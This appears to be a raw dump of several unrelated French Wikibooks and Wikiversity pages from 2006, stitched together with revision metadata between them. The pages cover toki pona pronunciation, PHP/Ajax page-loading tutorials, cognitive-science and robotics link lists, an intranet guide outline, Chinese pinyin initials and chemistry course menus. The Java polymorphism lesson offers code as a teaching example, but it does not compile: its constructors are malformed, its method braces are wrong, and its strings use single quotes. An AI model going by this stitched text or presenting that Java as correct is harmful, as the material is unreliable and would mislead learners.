{{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} ==Prononciation des différents phonèmes== Le toki pona ne comporte que 14 phonèmes : 9 consonnes et 5 voyelles. Ils s'écrivent de manière phonétique avec un sous-ensemble de l'alphabet latin réduit aux quatorze lettres suivantes : *Consonnes **j ('''y'''oupi) **k ('''k'''iwi) **l ('''l'''apin) **m ('''m'''a'''m'''an) **n ('''n'''ou'''n'''ours) **p ('''p'''a'''p'''a) **s ('''s'''oeur) **t ('''t'''an'''t'''e) **w ('''w'''alkman mais jamais '''w'''agon) *Voyelles **a (p'''a'''p'''a''') **e (p'''ère''', p'''é'''p'''é''', mais jamais b'''eu'''r'''e''') **i (ch'''i'''c) **o (b'''eau''') **u (hib'''ou''' mais jamais b'''u'''lle) En fait, comme il y a très peu de phonèmes et donc peu de risque de confusion, les règles de prononciation sont assez permissives. Un p pourra se prononcer indifféremment p/b, de même pour k/g, s/z et t/d. waso peut se prononcer « ouasseau » ou « oiseau », anpa peut se prononcer « amm-ba », et ainsi de suite. ==Les syllabes== Chaque syllabe a la forme générale suivante : consonne + voyelle + n optionnel. La consonne initiale est optionnelle si la syllabe est la première syllabe du mot. Une syllabe se terminant par n ne peut pas être suivie par une syllabe commençant par n ou m. Les quatre combinaisons *ji, *ti, *wo et *wu sont interdites à cause de leur difficulté de prononciation. L'accent tonique est toujours sur la première syllabe. Voici des exemples de mots avec leur prononciation et leur signification (l'accent tonique est en gras): * '''''a''''' ('''ah''') - interjection * '''''mu''''' ('''mou''') - meuh, cri d'animal * '''''len''''' ('''laine''') - vêtement * '''''wa'''so'' ('''oua'''sseau) - oiseau * '''''lin'''ja'' ('''li'''gna) - fil, corde, cheveu, etc. * '''''an'''pa'' ('''ann'''-pa) - en bas, sol, etc. ==Majuscules et ponctuation== Les mots officiels du toki pona (c'est à dire les 118 mots du dictionnaire) ne prennent jamais de majuscule. Ils s'écrivent tout en minuscules, même en début de phrase. En revanche les noms de personnes, de pays, et d'une manière générale tous les noms qui ne figurent pas dans le dictionnaire doivent commencer par une majuscule. Les signes de ponctuation suivants sont employés en fin de phrase : point (.), point d'exclamation (!), point d'interrogation (?) et deux-points (:). Le toki pona n'utilise pas de point-virgule et assez peu la virgule (mais il y a un cas où la virgule est obligatoire,après un vocatif, cf leçon 8). On applique les règles de typographie anglaise : les signes de ponctuation sont collés au mot qui précède. Exemples : * ''jan Emili li pona lukin.'' - Émilie est jolie. * ''seme li lon?'' - Que se passe-t-il? * ''o kama sona e toki pona!'' - Apprenez le toki pona! * ''mi pilin e ni: toki pona li pona.'' - Je pense ceci : le toki pona est bon. (Je pense que le toki pona est bon.) Il n'y a pas de règle concernant les guillemets. Les textes simples n'utilisent pas de guillemets, mais certains mettent des guillemets sans qu'une règle n'ait été décidée. Wikipédia:Bac à sable 8014 44983 2006-06-18T06:17:37Z Guillaumito 46 redirection vers le bon bac à sable #redirect [[Wikilivres:Bac à sable]] Programmation PHP/Ajax/Sommaire 8015 43794 2006-06-03T11:46:58Z 85.69.175.141 {{Programmation PHP}} ==Un sommaire sous Ajax== ===Intérêt de l'utilisation d'Ajax=== Lorsqu'on écrit un sommaire en php classique, à chaque fois qu'on clique sur un lien la totalité de la page est affichée. Sur un sommaire, cela crée un effet de clignotement indésirable et d'autant plus important que la page est lourde. De plus, comme il faut régénérer toute la page, la tendance est à surcharger le serveur avec des requêtes inutiles. Avec la technologie AJAX, seule la partie qui est modifiée dans la page est rechargée. On diminue ainsi la charge du serveur, la charge du réseau et l'effet de clignotement. * Sans la technologie AJAX, on observe un effet de clignotement[http://xavier.merrheim.free.fr/PHP/sommaire1]. * Avec Ajax, plus de clignotement et un site plus rapide [http://xavier.merrheim.free.fr/PHP/sommaire_ajax1]. '''Remarque : ''' * ici on voit très peu la différence (quasiment pas d'ailleurs) car le site est super simple. Si le site était plus complexe notamment avec des accès à une base de donnée, la différence serait beaucoup plus nette ! * Regardez aussi la différence au niveau de l'utilisation des retours en arrières. '''Un autre exemple ''': * Sans la technologie AJAX, on observe un effet de clignotement[http://xavier.merrheim.free.fr/PHP/sommaire2]. * Avec Ajax, plus de clignotement et un site plus rapide [http://xavier.merrheim.free.fr/PHP/sommaire_ajax2]. . ===Voir le sommaire=== Le sommaire est disponible [http://xavier.merrheim.free.fr/PHP/sommaire_ajax1]. ===Les fichiers=== ====Le fichier index.html==== <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Sommaire en PHP !</title> <style type="text/css"> #sommaire { position:absolute; background-color:cyan; left:10px; width:100px; } #page { position:absolute; background-color:#AAAAAA; left : 200px; width:500px; height:500px; } </style> <script type='text/JavaScript'> var xhr = null; function getXhr() { if(window.XMLHttpRequest)xhr = new XMLHttpRequest(); else if(window.ActiveXObject) { try{ xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } } else { alert("Votre navigateur ne supporte pas les objets XMLHTTPRequest..."); xhr = false; } } function ShowPage(page) { getXhr() xhr.onreadystatechange = function() { if(xhr.readyState == 4 && xhr.status == 200) { document.getElementById('page').innerHTML=xhr.responseText; } } xhr.open("GET","ajax.php?page="+page,true); xhr.send(null); } </script> </head> <body onLoad="ShowPage(1)"> <div id="sommaire"> <h3>Sommaire</h3> <a href="#" href="#" onClick="ShowPage(1)">Page 1</a><br/> <a href="#" href="#" onClick="ShowPage(2)">Page 2</a><br/> <a href="#" href="#" onClick="ShowPage(3)">Page 3</a><br/> <a href="#" href="#" onClick="ShowPage(4)">Page 4</a><br/> </div> <div id="page"> </div> </body> </html> </pre> ====Le fichier ajax.php==== <pre> <?php $page=$_GET['page']; if($page==1)require 'page1.html'; else if($page==2)require 'page2.html'; else if($page==3)require 'page3.html'; else require 'page4.html'; ?> </pre> ====Le fichier page1.html==== <pre> <h1>Page 1</h1> bla bla blan </pre> ====Le fichier page2.html==== <pre> <h1>Page 2</h1> ble ble ble </pre> ====Le fichier page3.html==== <pre> <h1>Page 3</h1> bli bli bli </pre> ====Le fichier page4.html==== <pre> <h1>Page 4</h1> blo blo blojkkj </pre> Enseignement du Toki pona 8016 41913 2006-05-10T19:43:17Z Tensai 654 {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} {{Utilisateur:Tensai/modèles/lexique}} '''Introduction au Toki pona de Laurent Vogel.''' Le toki pona est une langue artificielle inventée par Sonja Elen Kisa et publiée en 2001. « toki pona » signifie « langue bonne, langue du bien ». La langue se base sur la philosophie du [[Dao]], et vise avant tout la simplicité de la phonologie, de la grammaire, et du vocabulaire, ce qui la rend facile à apprendre. Le vocabulaire ne comporte que 118 mots (et pas un de plus : le dictionnaire officiel est intentionnellement figé) et pourtant on est surpris de la relative expressivité qu'il autorise. Le toki pona n'est pas parlé par beaucoup de monde. Il existe cependant un [http://groups.yahoo.com/group/tokipona/ groupe de discussion sur Yahoo], un forum IRC, quelques pages web contenant une littérature pour l'instant limitée (oeuvres originales et traductions).[http://www.tokipona.org] J'ai commencé à écrire ces leçons en français comme une traduction littérale des excellentes leçons en anglais de jan Pije, qui ont fait autorité pendant ces dernières années. Au cours de traduction, j'ai pris connaissance de la version en esperanto que Jim Henry avait juste commencé à publier (un peu en aveugle à vrai dire car je n'ai pas appris l'esperanto). Ces leçons sont donc une traduction et une adaptation à la fois des versions de jan Pije et de Jim Henry. Je leur addresse ici mes remerciements. Sciences cognitives 8018 43099 2006-05-24T15:28:11Z L'Herméneute 1563 /* Liens en vrac */ Wiki-Cognition à pour but de rassembler les liens vers différents documents utilent pour se renseigner sur un sujet ou faire de la vulgarisation sur le cerveau et les Sciences Cognitives. En revanche, il faut avoir un minimum de notions pour pouvoir s'y retrouver et on aurra avantge à aller sur ce très bon site : [http://www.lecerveau.mcgill.ca/flash/index_d.html Le cerveau à tous les niveaux], pour de la vulgarisation. Pour plus de détails, consulter la page de [[SC/présentation|présenation]]. = Processus de l'évolution = == [[SC/Algorithme génétique|Algorithme génétique]] == Utilisation et modélisation des processus de l'évolution en informatique. == [[SC/Développement de la vie| Développement de la vie]] == Principe de la vie, autopoiesis, auto-organisatoin ... == [[SC/évolution en générale|Evolution en général]] == == [[SC/Evolution humaine|Evolution de l'homme]] == Evolution de l'homme et de sa cognition. = Développement cérébral (de l'embryon au vieillard) = == [[SC/lien affectif|Lien affectif]] == Développement et effets des liens affectifs. = Cognition = == [[SC/Enseignement|Enseignement]] (teaching) == == [[SC/Imitation|Imitation]] == == [[SC/Locomotion|Locomotion]] == == [[Modèle direct]] (forward model) == "Connaissance" des conséquences de ses actions. == [[Mouvement occulaire]] == Suivi de cible. == [[Vibrisses du rat]] == == Linguistique == = Société = = Pathologies = == [[Alzheimer]] == == [[Autisme]] == == [[Parkinson]] == == [[Trouble bipolaire]] (ou PMD, Psychose maniaco-dépressive) == = Liens en vrac = * http://www.automates-intelligents.com * http://www.lecerveau.mcgill.ca Le cerveau à tous les niveaux * http://www.risc.cnrs.fr * http://www.vieartificielle.com Vie artificielle reproduite par des robots ou en simulation * http://www.diffusion.ens.fr/index.php?res=themes&idtheme=26 Diffusion des savoirs de l'ENS, Histoire et Philosophie des sciences : aspects épistémologiques de la recherche en cognition, fondation des mathématiques, ... * http://www.neurocomputing.org/index.html Projet d'un "Brain simulation environment". * http://peccatte.karefil.com/ Philosophie, Informatique, Mathématiques : textes et ressources divers de tradition analytique. * http://www.dma.ens.fr/culturemath/ CultureMATH. = Questions réponses = === Pourquoi a-t-on le mal de mer ? === Le mal de mer provient lorsque il y a une incohérence entre les informations données par [[SC/système vestibulaire|système vestibulaire]](système dans l'oreille interne donnant les informations sur l'orientation et les mouvements de la tête) et le [[SC/système visuel|système visuel]]. Une hypothèse est que ce phénomène est du au fait que le système vestibulaire est très sensible au toxines (on ne marche plus droit quand on a trop bu) et qu'un disfonctionnement de ce sytème indiquerait une ingestion de poisons d'où le mal-être et les vomissements. Guide intranet territorial 8019 41022 2006-04-27T14:21:39Z Greudin 1 [[Guide Intranet Territorial]] déplacé vers [[Guide intranet territorial]]: convention Le guide de l’intranet territorial Introduction - les objectifs de l’ouvrage (guider le lecteur impliqué dans la démarche de mise en place / de suivi quotidien d'un site Intranet...) - la façon dont il a été écrit (en mode collaboratif à partir de la capitalisation des expériences de nombreux professionnels des Collectivités) Premier chapitre : avant la mise en ligne du site Intranet - définir ce qu’est un intranet, ce qu’il n’est pas - imaginer la façon dont s’intègrera l’Intranet dans le système d’information (quels liens avec d’autres outils TIC, avec d’autres applications) - dire les façons dont il peut naître (pour faire comme les autres, pour répondre à un problème identifié de communication, de diffusion de l’information, d’implication des agents) - mettre en place un groupe de travail (comment le créer, quelle représentativité, quel mode de travail lui faire adopter, quels rôles répartir entre ses membres) - rédiger / recevoir la feuille de route (quelles formes peut adopter la lettre de commande, que doit-elle contenir, qui peut en être à l’origine) - recenser les besoins (comment les identifier, les collecter) - rédiger le CDCF (cahier des charges fonctionnel) - rencontrer d’autres collectivités (s’inspirer de leur expérience, prendre conscience des difficultés à venir, découvrir de multiples façons de les résoudre, observer les bonnes pratiques mises en œuvre) - imaginer l'organisation à mettre en place autour du futur intranet (réseau des contributeurs, comités de suivi et de pilotage - imaginer l'accompagnement des contributeurs, des utilisateurs (formes d’assistance et d’animation, plans d'action, calendrier, budget) - imaginer le plan de communication à mettre en oeuvre (contenu, supports, chronologie, budget) - choisir une version de lancement (les avantages / inconvénients d’une version bêta) - préparer le « Jour J » (comment l’annoncer, quel caractère lui donner) Deuxième chapitre : après la mise en ligne du site Intranet - impliquer les différents acteurs (utilisateurs, contributeurs, hiérarchies) - faciliter les retours d’expérience (avis, remarques, suggestions) - identifier les axes d’évolution / de progrès de la version 2 - préparer une enquête de satisfaction - garder le contact avec ses homologues d’autres collectivités / entreprises (les réseaux professionnels) Troisième chapitre : les grandes problématiques - la résistance au changement - l’équation « Gagnant / gagnant » - la motivation des membres du réseau - l'implication de la hiérarchie - les relations avec les partenaires internes (autres Directions de la Collectivité) - le travail en « mode projet » - l'accessibilité Les annexes - les contenus communs d’un intranet - quelques retours d'expériences de collectivités - glossaire des termes utilisés - fiches de présentation de solutions SC/Locomotion 8024 41326 2006-04-30T20:19:16Z Arnaud Blanchard 1367 = La marche = == Robot antropomorphique == * Owen Holland * Rob Knight == Robots bipèdes marcheurs passifs == Des robots passifs (sans apport d'énergie) peuvent marcher de façon "naturel" sur une piste en pente douce. * [http://mms.tudelft.nl/dbl/research/biped/Denise Denise], un robot marcheur presque passif qui lui permet de marcher sur le plat ou en montée. * [http://www.robotsandus.org/moving/walker Vidéos] de 1990 montrant la marche passive, très naturelle. * [http://www-personal.engin.umich.edu/~shc/robots.html Pages avec vidéos] d'un robot marcheur passif avec bras coordonnés. * [http://drei.mech.nitech.ac.jp/~fujimoto/sano/walk_eng.html Video] de jambes marcheuses. == Robot marcheur quadripède == * [http://www.bdi.com/content/sec.php?section=BigDog Vidéo] impressionnante d'un robot quadrupède à la démarche très naturelle. == Robot grimpeur == * [http://dsc.discovery.com/news/briefs/20050801/spinybot.html Video] d'un robot grimpant aux murs à la verticale. = La natation = * [http://www.vieartificielle.com/article/index.php?id=01042 Robot tortue] = Le vol = * [http://www.newscientist.com/data/images/ns/av/dn8382.avi Vidéo] montrant le mouvement des ailes d'un insecte en vol. = Liens en vrac = * [http://www.bris.ac.uk/Depts/Anatomy/about/staff/burn.htm Jeremy Burn] = Culture = == Robotique == On pourra voir des robots aux mouvements impressionnants mais non naturels (relève plus de l'ingénierie que des sciences cognitive). Ils sont en général beaucoup plus lourdeau que la démarche biologique et n'ont jamais les genoux étendus. Les rendements énergétiques sont très mauvais. Mais il peuvent aussi descendre et monter les escaliers par exemple. * [http://asimo.honda.com/inside_asimo_movies.asp Videos] d'ASIMO de Honda. * [http://www.sony.net/SonyInfo/QRIO/videoclip Videos] de QRIO de Sony. Enseignement 8025 41325 2006-04-30T20:15:49Z Arnaud Blanchard 1367 Des fourmies apprennent a d'autres en s'assurant qu'elles suivent, la position d'un nid par exemple. * [http://www.bio.bris.ac.uk/people/staff.cfm?key=687 Nigel Franks], professor at the university of Bristol. * [http://www.sciencenews.org/articles/20060114/antteach.avi Video] d'une fourmie montrant un chemin à une autre. Modèle direct 8026 39991 2006-04-11T20:58:24Z Arnaud Blanchard 1367 On peut apprendre les probabilités entre les actions et les sensations correspondantes. * Alexander Dearden * Yannis Demiris Mouvement occulaire 8027 39992 2006-04-11T20:58:39Z Arnaud Blanchard 1367 Le [[système vestibulaire]] permet de corriger automatiquement le mouvement des yeux lorsque la tête ou le corps bouge (Vestibular Ocular Response VOR). Cette correction se développe chez les enfants de 2 à 4 semaines. Cependant pour suivre des yeux une cible mouvante (Smooth Pursuit SP) il ne faut pas que cette correction se fasse. L'inhibition du VOR permet donc de suivre "smootly" et le SP apparaît à 6-1é semaines. A 3 ou 4 mois, les enfants utilisent le mouvement de la tête pour scanner l'environement mais celle ci introduit de nouveaux problème de correction de son propre mouvement. = En savoir plus = * Claes von Hofsten * Kerstin Rosander Vibrisses du rat 8028 41133 2006-04-28T13:49:46Z 147.197.166.81 Le rat utilise activement ses vibrisses et tate l'environnement en touchant régulièrement le sol et les murs. * Chris Melhuish * Tony Prescott Psychose Maniaco Dépressive 8030 39997 2006-04-11T21:06:54Z Arnaud Blanchard 1367 [http://fr.wikipedia.org/wiki/Psychose_maniaco-d%C3%A9pressive Article wikipédia] Méthodes de chinois 8031 40607 2006-04-20T20:09:11Z Zj 125 [[Image:Bejing-città proibita.jpg|right|thumb|300px|The Forbidden City in Beijing 北京故宫]] Bienvenue à la méthode de chinois, une méthode libre du chinois standard, Putonghua. Cette page rassemle les liens vers les leçons en caractères chinois simplifiés( utilisé en République populaire de Chine). Il y a également [[Chinois (Mandarin)/Tradionnel| Version caractères traditionnels]] (utilisés en République de Chine, à Hongkong et dans certains pays étrangers par les habitants d'origine chinoise). <font color="#cc0000">'''''Note''''':</font> Pour utiliser cette méthode, vous deverez disposez d'une police de la langue chinoise. Si le chinois dans le boxe suivant ne s'affiche pas correctement, mais comme ""�?�?􏿾", il vous faudrait une police chinoise. {| border="1" cellspacing="0" cellpadding="6" align="center" | style="background-color:#eeeeee;" | 我们需要您的帮助!如果您了解中文,请参与本教科书的建设! |} <br> == Leçons / 课程== *Introduction / 介绍 **[[Chinese/About Chinese|About Chinese<br> 中文是什么?]] {{stage short|100%|Jan 24, 2005}} **[[Chinese/How To Use This Textbook|How to use this textbook<br> 如何使用这本教科书]] {{stage short|100%|Jan 24, 2005}} **[[Chinese/How To Study Chinese|How to study Chinese<br> 如何学习中文]] {{stage short|100%|Jan 24, 2005}} *Texte / 课文 **Pronunciation: ***[[Chinois/Pinyin Pronunciation|Pinyin Pronunciation Basics]] {{stage short|100%|Jan 24, 2005}} ***[[chinois/Pronunciation of des initiales|Pronunciation des initiales]] ***[[Chinois/Pronunciation des Finales|Pronunciation des Finales]] ***[[Chinois/Les tons|Les tons]] **[[Chinois/Leçon 1|Lesson 1: Hello!<br> 第一课:你好!]] {{stage short|100%|Jan 24, 2005}} **[[Chinese/Lesson 2|Lesson 2: Are you busy today?<br> 第二课:今天你忙不忙?]] {{stage short|75%|Jan 24, 2005}} **[[Chinese/Lesson 3|Lesson 3: An introduction to particles<br> 第三课:助词]] {{stage short|75%|Jan 24, 2005}} **[[Chinese/Lesson 4|Lesson 4: Word order and Verbs<br> 第四课:词序和动词]] {{stage short|00%|Jan 24, 2005}} **[[Chinese/Lesson 5|Lesson 5: Measure words<br> 第五课:量词]] {{stage short|50%|Jan 24, 2005}} **[[Chinese/Lesson 6|Lesson 6: More on interrogatives<br> 第六课:疑问助词]] {{stage short|00%|Jan 24, 2005}} **[[Chinese/Lesson 7|Lesson 7: What's this?<br> 第七课:这是什么?]] {{stage short|100%|Jan 24, 2005}} **[[Chinese/Lesson 8|Lesson 8: My name is Wang Ming<br> 第八课:我的名字叫王明。]] {{stage short|25%|Jan 24, 2005}} **[[Chinese/Lesson 9|Lesson 9: It's Monday today.<br> 第九课:今天是星期一]] == Appendices / 附录== *[[Chinese/Chinese-English Dictionary|Chinese-English Dictionary<br> 漢英字典]] *[[Chinese/English-Chinese Dictionary|English-Chinese Dictionary<br> 英漢字典]] *[[Chinese/Greetings|Chinese Greetings<br> 中文問候語]] {{stage short|100%|Jan 24, 2005}} *[[Chinese/Numbers|Numbers<br> 數目(數字)]] {{stage short|75%|Jan 24, 2005}} *[[Chinese/Nations of the World|Nations of the World<br> 世界各國]] {{stage short|50%|Jan 24, 2005}} *[[Chinese/Radicals|Radicals<br> 部首]] {{stage short|00%|Jan 24, 2005}} *[[Chinese/Slang|Slang<br> 俚語]] *[[Chinese/Web Resources|Web Resources<br> 中文網絡資源]] {{stage short|100%|Jan 24, 2005}} === Related Wikibooks === {{PDF version|Chinese (Mandarin) v0.2|File size: 272KB}} {{Print version}} {{InterWiki|code=zh}} *[[Written Chinese|Written Chinese]] *[[CJK|Guide to Writing East Asian Languages<br> 汉字书写]] *[http://wikitravel.org/en/Chinese_phrasebook Chinese Phrasebook] (on WikiTravel) *[[Cantonese: Contents|Cantonese (Yue)<br>广东话]] *[[Min Nan|Taiwanese (Min Nan)<br>台語]] *[[Cookbook:Cuisine of China]] ==Contributors== * [[chinois/Guide de contributeur|Guide de contributeur]] * [[Chinese/Planning|Planning du cours<br> 课文安排]] * [[Chinese/Contributors|Contributors <br> 投稿者]] [[Category:Languages]] <!-- Interwiki links are below. You can see them on the Wikibooks Sidebar listed under "in other languages". If you know of Chinese Wikibooks in other languages, or are willing to translate this book to them, then add its link to this list. Ones above the divider are translations of this book, ones below are of their own design.--> [[en:Chinese]] [[es:Chino]] [[it:Corso di cinese/Indice]] [[pl:Chiński]] <!-- 在以上的课程里中文是一样的, 在以下的课程里中文是不同的 --> [[fr:Enseignement du chinois]] [[de:Chinesisch]] [[ja:中国語]] [[nl:Mandarijn]] Chinois/Prononciation des initiales 8032 40458 2006-04-17T21:05:45Z Greudin 1 [[Chinese/Pronunciation of des initiales]] déplacé vers [[Chinois/Prononciation des initiales]]: francisé {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} ---- ==Pronunciation of initials== {| class="wikitable" style="font-size: 95%" !'''Pinyin'''||'''[[w:International Phonetic Alphabet|IPA]]'''||'''Explication'''||'''Exemples'''||'''enregistrement''' |- ||''b''|| {{IPA|[p]}}|| P aspiré '''p''', comme dans '''p'''orte|| 宝贝,baobei, trésor, chéri|| |- ||''p''|| {{IPA|[pʰ]}}|| P expiré, comme dans "sou'''p'''e". ||炮弹, Pàodàn Bombe|| |- ||''m''|| {{IPA|[m]}}|| comme en français||马车, Ma che, char a cheval|| |- ||''f''|| {{IPA|[f]}}|| comme en français||发财,Facai, faire fortune|| |- ||''d''|| {{IPA|[t]}}|| '''t''' aspiré, comme dans'''t'''ête||伟大, Weida, grand|| |- ||''t''|| {{IPA|[tʰ]}}|| '''t''' souflé, comme dans tê'''t'''e||太平, Taiping, Paix|| |- ||''n''|| {{IPA|[n]}}|| commen en français avant une foyelle||男人 Nanren, Homme|| |- ||''l''|| {{IPA|[l]}}|| comme en français ||老人'''L'''aoren, villeillqrd|| |- ||''g''|| {{IPA|[k]}}|| non aspiré, comme dans "Don'''que''' fais-tu?"||格式 Geshi, format|| |- ||''k''|| {{IPA|[kʰ]}}|| K aspiré, comme dans don'''c'''||客人,keren, l'invité|| |- ||''h''|| {{IPA|[x]}}|| comme en Anglais '''h''' ||喝水,boire de l'eau|| |- ||''j''|| {{IPA|[tɕ]}}|| comme "q", mais nonaspiré. comme quand vous prononcer le nom anglais "'''J'''ob", ba'''dge''', mais juste avec la partie devant du palais. ||教堂, Jiaotang, Eglise; 家,jia, Maison ou famille|| |- ||''q''|| {{IPA|[tɕʰ]}}|| comme '''ch'''urch en anglais||生气,shengqi, en colère|| |- ||''x''|| {{IPA|[ɕ]}}|| Comme i'''ch''' en allemand. La place de la langue se place entre les dents devant(comme dans "s"ud) et le haut du palais (comme dans "che"). ||小孩,xiaohai, Petit enfant|| |- ||''zh''|| {{IPA|[tʂ]}}|| comme '''ch''' sans aspiration (comme la différente entre "t" et "d"). comme quand vous prononcez "'''J'''ob", mais avec seulement la pointe de la langue".||着火,zhaohuo, prendre feu|| |- ||''ch''|| {{IPA|[tʂʰ]}}|| "Zh" nonaspiré. ||吃饭,chifan, manger; 吵架,chaojia, disputer|| |- ||''sh''|| {{IPA|[ʂ]}}|| "comme vâ'''che'''" en français.||沙漠,shamo, désert|| |- ||''r''|| {{IPA|[ɻ]}}|| "comme "'''G'''eorges" ou "'''J'''acques"||日, r(i),soleil; 热情,reqing, sympathique|| |- ||''z''|| {{IPA|[ts]}}|| '''c''' non aspiré, entre '''ds''' et '''ts''', comme "'''Ts'''ar", il peut se prononcer simplement '''ds'''. ||早晨,zaochen, matin; 做爱,zuo'ai, faire l'amour|| |- ||''c''|| {{IPA|[tsʰ]}}|| comme '''ts'''ar, mais non aspiré||小草,xiaocao, petite herbe; 次, ci, une fois|| |- ||''s''|| {{IPA|[s]}}|| comme en français '''s'''ourd, '''s'''a. ||拉萨,lasa, Lasa, capitale de la Région autonome du Tibet; 苏州,suwhou, capitale de la province du Jiansu, proche de Shanghai|| |} {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} Unicyclisme 8033 41780 2006-05-08T07:48:26Z 164.15.1.91 /* L'apprentissage */ {{ébauche}} ==L'apprentissage== Le plus simple est de s'entraîner sur un faux plat descente, le long d'un mur pour comprendre les réactions de l'engin. Dès que la marche avant est maitrisée se pencher sur la marche arrière, très important ! 3 semaines en moyennne d'entraînement doivent suffire pour la base Modèle:UrlCopyright 8037 40050 2006-04-12T16:30:45Z Greudin 1 [[Modèle:UrlCopyright]] déplacé vers [[Modèle:Copie de site]]: francisé #REDIRECT [[Modèle:Copie de site]] Programmation Java Polymorphisme 8039 46419 2006-06-28T21:10:55Z Zulul 474 Le polymorphisme veut dire que le même service, aussi appelé opération ou méthode, peut avoir un comportement différent suivant la Classe dans laquelle il est utilisé. *Polymorphisme parametrable (par surcharge de methodes), les signatures (type et arguments diverges) <pre> public class A{ private int a; public A{ //constructeur 1 System.out.println('Creation de A'); } public A(int a){ //constructeur 2 par surcharge this.a=a; } public int getter()( return this.a; } public static void main(String[] args) { this(); //construction par 1 this(1); //construction par 2 } } </pre> *Polymorphisme d'héritage (par redefinition de methodes) <pre> public class B extends A{ private int b; public B{ super(); System.out.println('Creation de B'); } public B(int a, int b){ super(a); this.b=b; System.out.println('Creation de B'); } public int getter()( return this.b; } public void setter(int a, int b)( super(a); this.b=b; } public static void main(String[] args) { B ob1= new B(10,20); ((A)ob1).getter(); // Par type casting, appel de methode A } } </pre> Programmation PHP/Ajax/Date 8042 40163 2006-04-13T19:29:31Z 70.80.191.219 /* Mettre à jour un cadre */ {{Programmation_PHP}} ==Démonstration== Le résultat est visualisable ICI : [http://xavier.merrheim.free.fr/date]. ==Les fichiers== ===Le fichier index.html=== <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Sommaire en PHP !</title> <style type="text/css"> #page1 { position:absolute; background-color:#AAAAAA; left : 200px; width:500px; top:10px; height:200px; } #page2 { position:absolute; background-color:cyan; left:200px; width:500px; height:200px; top:250px; } </style> <script type='text/JavaScript'> var xhr = null; var n=0; function getXhr() { if(window.XMLHttpRequest)xhr = new XMLHttpRequest(); else if(window.ActiveXObject) { try{ xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xhr = new ActiveXObject("Microsoft.XMLHTTP"); } } else { alert("Votre navigateur ne supporte pas les objets XMLHTTPRequest..."); xhr = false; } } function init() { loop(); } function loop() { setTimeout('loop();',3000); ShowPage(); } function ShowPage() { getXhr(); xhr.onreadystatechange = function() { if(xhr.readyState == 4 && xhr.status == 200) { document.getElementById('page1').innerHTML=xhr.responseText; } } xhr.open("GET","ajax.php",true); xhr.send(null); } </script> </head> <body onLoad="init()"> <div id="page1"> </div> <div id="page2"> Ce cadre n'est pas mis à jour.<br/> <H1>Bienvenue chers amis</h1> </div> </body> </html> </pre> Faculté de Chimie 8044 40107 2006-04-13T12:32:00Z 213.41.42.77 [[/Chimie Organique|Les fondements de la Chimie Organique]]&nbsp; Wikiversité:Faculté de chimie 8045 45493 2006-06-23T17:29:24Z 82.224.40.218 /* [[Licence de chimie pharmaceutique (BSc)]] */ {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Ecole de Chimie de la [[Wikiversité]]</font> |- |} |- | bgcolor="lightyellow" valign="top" colspan="2" | <div style="float:center">[[image:Faculté de chimie acceuil.png]]</div> == Bienvenue, Welcome == Bienvenue à l'Ecole de Chimie de la <b>[[Wikiversité]]<b/>. Tous les chimistes sont les bienvenus sur ce site pour son élaboration. Merci de m'écrire pour discuter de l'avenir de cette Ecole de Chimie. philippe.lasry1@free.fr. =[[Licence de chimie pharmaceutique (BSc)]]= La '''chimie pharmaceutique''' ou '''chimie médicinale''' est une discipline scientifique à l'intersection de la [[chimie]] et de la [[pharmacie]] donc de la biologie. Elle s'occupe de la [[conception de médicaments]] et de leur développement. La chimie médicinale consiste en l'identification , la synthèse et le développement de nouvelles entitités moléculaires ayant une activité biologique ou thérapeutique. Elle étudie en particulier leurs propriétés biologiques en fonction de leurs structures. La chimie pharmaceutique est hautement inter-disciplinaire puisqu'elle fait appel à la [[chimie organique]], la [[biochimie]], l'[[informatique chimique]], la [[pharmacologie]], la [[biologie moléculaire]], les [[statistiques]] et la [[chimie-physique]]. == <b>[[Concepts en chimie moléculaire]]<b/> == * Elements de liaison chimique * Géométrie spatiale des molécules * Réactivité des molécules * Eléments de thermodynamique chimique * Mécanismes réctionnels * Modélisation moléculaire == <b>[[Synthèse organique]]<b/>== * [[Bases de chimie organique]] * [[Chimie organique I/Rétro-synthèse|Rétro-synthèse]] * [[Chimie organique avancée]] * [[Chimie organique I/Mécanismes des réactions|Mécanismes des réactions]] * [[Chimie organique I/Applications de la chimie organique|Applications de la chimie organique]] * [[Chimie organique expérimentale]] * [[Chimie organique I/Techniques d'analyses structurales des molécules organiques|Techniques d'analyses structurales des molécules organiques]] * [[Chimie analytique]] * [[Chimie organique I/Exercices d'applications|Exercices d'applications]] * [[Chimie organique I/Bibliographie|Bibliographie et webographie]] == <b>[[Chimie organique biologique]]<b/> == * [[Les biomolécules]] * [[Eléments de biologie céllulaire]] * [[Biotechnologies]] * [[Eléments d'enzymologie]] * [[Bioconversions : utilisation des enzymes en synthèse]] * [[Eléments de biochimie]] == <b>[[Chimie inorganique]]<b/> == == <b>[[Chimie-physique]]<b/>== == <b>[[Bio-nano-technologies]]</b>== == <b>[[Chimie médicinale]]</b>== == <b>[[Projets de recherches, bibliographies, webographies]]<b/>== Ce domaine fera part de vos lectures dans différents domaines de la chimie. [http://fr.wikipedia.org/wiki/Chimie Chimie dans Wikipédia] [http://fr.wikipedia.org/wiki/Portail:Chimie Portail de la Chimie] [http://fr.wikibooks.org/wiki/Wikiversité Accueil Wikiversité] |- |} Cours de Chimie Organique 8046 40209 2006-04-14T09:20:11Z 213.41.42.77 * [[Bases de Chimie Organique]] * [[Mécanisme des Réactions]] * [[Applications de la Chimie Organique]] * [[Chimie Organique Expérimentale]] * [[Techniques d'analyses des molécules organiques]] * [[Bibliographie]] * 